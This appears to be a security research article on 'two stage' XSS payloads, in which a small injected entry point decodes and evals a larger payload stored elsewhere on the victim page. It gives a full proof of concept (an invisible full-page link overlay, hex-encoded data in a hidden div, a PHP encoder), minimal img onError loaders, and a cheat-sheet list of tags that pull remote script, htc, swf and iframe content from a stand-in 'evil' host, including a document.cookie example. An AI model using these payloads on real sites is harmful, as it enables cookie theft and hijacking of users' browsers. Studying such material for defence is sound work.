When exploiting XSS holes often you find yourself working around size/length and characters limitations. To avoid this type of problems a technique called "two stage payloads" comes to help. It's generally used when exploiting memory management vulnerabilities but applies to the XSS world too. The very basic idea is to have the payload divided in two parts: one that has to be injected in the entry point (PAY_ENTRY) and one that contains the actual data (PAY_DATA).
I use this technique for a long time and itís very successfully, but after reading a hint from Giorgio Maone (the creator of NoScript) and when articles near the subject were popping up, I decided to write this article.
This process can be synthesized in splitting the payload or using a generic packer (like for PE win32 bit executables/viruses that can be prepended with a packer or a protector and then the real executable follows compressed or encoded).
Note: in the executables world a "packer" only compresses while a "protector" denies the access to the program in clear text.
PAY_ENTRY has to be valid and executable JS, so in clear text, but since it doesn't contain any logic except the one needed to run the second part of the payload, it can be small and use few "forbidden" characters.
PAY_DATA on the other hand can be a really long stream, stored or not, placed somewhere in the page, on the server or an other one, issued by the client, etc. Naturally it has to be accessible by JS.
Two stage payload: Exec of blob data
My very own technique is the latter: you can store text on the victim site (personal profile, news, whatever) but you cannot execute it (escaping, strip tags, whatever). In addition you found a very limited injection point (a stored XSS for example, but could be via GET/POST, etc.) that is also present on the page that stores the data. No useful exploitation is available using only the injection point, but...
Here comes to help innerHTML: we can retrieve the text inside a div, decode and eval it using DOM and innerHTML. It's not necessary to inject a new div, we can just use an existing one. Simple, uh? Examples follow (PAY_DAYA is the id of the div the website provided).
Or the shorter but not DOM compliant:
A full featured POC of this technique could be:
<div id="evil_body" style="display:none;">%61% 6C %65%72%74%2 8%27%55%68%2 C%20%69%74%20%77%6F%7 2%6B%65%64%20 %3A%20%29%27%29%3B%0A%0A% 2F%2A%4E%6 F%74%65%3 A%0A %57%65%20% 63%61%6E%2 0%70%75%74%20%61%6E%79%20%73%74%75%66%66%20%6 8%65% 72%65 %2C%20%7 7%69%74%68%20%6E%6F%20%6C%69%6D %69%74%20 %69%6 E% 2 0 % 6 C % 6 5 % 6 E % 6 7% 7 4 %68%20%6F %72%20%63%68%61 %72 %7 3% 2E%20%2 A%2F</div> <a href="#" id="evil_link" style=" cursor:default; background-color:transparent; z-index:1000; color:transparent; position:absolute; top:0; left:0; width:100%; height:100%; " onmouseover=" document.getElementById('evil_link').style.display='none'; alert(unescape(document.getElementById('evil_body').innerHTML.replace(new RegExp(String.fromCharCode(92,110,124,32),String.fromCharCode(103)),''))); "></a>
Pretty advanced and full-featured: the data can be splitted over multiple lines and contain any amount of spaces, they will be removed. The data itself has virtually no limitation. Beside it's a pretty long payload it can be reduced/modified and use a different injection point than a link covering the whole page. In detail this POC can be dissected in the following steps:
IN THE CSS (you can also use existing css classes and id, stealing their proprieties, since class="" accepts multiple class names)
cursor:default; # thanks to kuza55 for the reminder ; ) background-color:transparent; color:transparent; # be invisible z-index:1000; # above everything position:absolute; top:0; left:0; width:100%; height:100%; # cover the whole active window (not the whole page)
IN THE JS
document.getElementById('evil_link').style.display='none' # hide the link (the first action) document.getElementById('evil_body').innerHTML # access to the contents of the div replace(new RegExp(String.fromCharCode(92,110,124,32),String.fromCharCode(103)),'') # remove \n and spaces eval(unescape()) # unescape and eval the results
A simple encoder is (all on one line):
echo -en "alert('Uh, it worked : )');\n\n/*Note:\nWe can put any stuff here, with no limit in length or chars. */" | php -r \ "\$j=file_get_contents(\"php://stdin\");for(\$m=0;\$m<strlen(\$j);\$m++)\ echo \"%\".sprintf(\"%'02s\", strtoupper(dechex(ord(\$j[\$m]))));\ echo \"\n\";"
Note that the link entry point is not the best but when we developed this technique it was the only available, a better one is certainly the onError event for img tags.
In fact not many time passed before the need of a smaller PAY_ENTRY, for the purpose this minimal POC has been written.
<img src="http://w" onError="eval(unescape(document.getElementById('evil_body').innerHTML.replace(new RegExp(String.fromCharCode(92,110,124,32),String.fromCharCode(103)),'')));">
The space between new and RegExp can be filled by an empty comment /**/ when needed and single quotes can be avoided in the first case using the id directly instead getElementById() and than using an empty variable (a JS debugger is the answer).
<img src="http://w" onError="eval(unescape(document.getElementById('evil_body').innerHTML));">
<img src=http://w onError=with(document)with(e)eval(unescape(innerHTML))
Only a-z = : / ( ). Lovable.
At this point you should fully understand the technique with it's both pros and cons:
- The need of a tiny entry point on the page where the data is stored
- Some research necessary to find where to store the data (a visible or hidden div)
- Not automatic, need some tuning
And fully understand the concept behind two stage payloads:
- Circumvent limits storing code as text SOMEWHERE
- Uses any element accessible from DOM: divs, hidden form fields (tricky and common)
- The stored code has no limitation
- PAY_ENTRY decodes PAY_DATA, a lot of custom logic can be placed in PAY_ENTRY
One of the latest things that can be added is that if the victim's website provides something like
<div id="userName">The user name is: XXXXXXXX</div> (where XXX is our encoded PAY_DATA) it's possible to use
substr to remove the spurious chars.
This is the end of the "research" part. Hope you enjoyed it.
Since I love encyclopedic writing (as like the ones in the Middle Ages) here follows a complete (hoping so, if not contact me/comment on the article) list of two stage payloads useful for XSS attacks. Most of them are from the rsnake XSS cheat sheet, two from gnucitizen articles and one by Maone, look at the references section for links.
Script with remote src based
The most basic one
File extension evasion
Without closing and "
<SCRIPT SRC=http://www_ush_it/path/to/evil.js >
Similar to the above, without closing </SCRIPT> and "
Similar to the above, with .j as closing
<SCRIPT a=">" SRC="http://www_ush_it/path/to/evil.js"></SCRIPT>
<SCRIPT =">" SRC="http://www_ush_it/path/to/evil.js"></SCRIPT>
<SCRIPT a=">" '' SRC="http://www_ush_it/path/to/evil.js"></SCRIPT>
<SCRIPT "a='>'" SRC="http://www_ush_it/path/to/evil.js"></SCRIPT>
<SCRIPT a=`>` SRC="http://www_ush_it/path/to/evil.js"></SCRIPT>
<SCRIPT a=">'>" SRC="http://www_ush_it/path/to/evil.js"></SCRIPT>
Half JS half text evasion
Note that same origin could apply in some conditions.
<IFRAME SRC=http://www_ush_it/path/to/evil.html <
<LINK REL="stylesheet" HREF="http://www_ush_it/path/to/evil.css">
Other injections (htc, swf, xml, etc..)
In the case you control cookies (using CSRF or Response Header Injection)
<XSS STYLE="behavior: url(xss.htc);">
<OBJECT TYPE="text/x-scriptlet" DATA="http://www_ush_it/path/to/evil.html"></OBJECT>
<EMBED SRC="http://www_ush_it/path/to/evil.swf" AllowScriptAccess="always"></EMBED>
<HTML xmlns:xss> <?import namespace="xss" implementation="http://www_ush_it/path/to/evil.htc"> <xss:xss>XSS</xss:xss> </HTML>
<XML SRC="xsstest.xml" ID=I></XML> <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
Eval can be replaced with any function that has a callback as an argument, for example setTimeout() or setInterval(). One of the smallest entry point is
<img src=1 onError=eval(location.substr(92)>.
In the case you control cookies (using CSRF or Response Header Injection)
In conjunction with a specially crafted url ending with #alert(document.cookie)
As the above but no dots
As the above but with harcoded "substr" value
In conjunction with iframes (you could need a doorway page)
<iframe name="test" src="http://www_ush_it/path/to/evil.html"></iframe>
Eval location with "cast" to string
Thanks to KJKHyperion, wisec and vecna for the technical part and to slippery and impulse for the article spell/grammar check. Bye, ascii.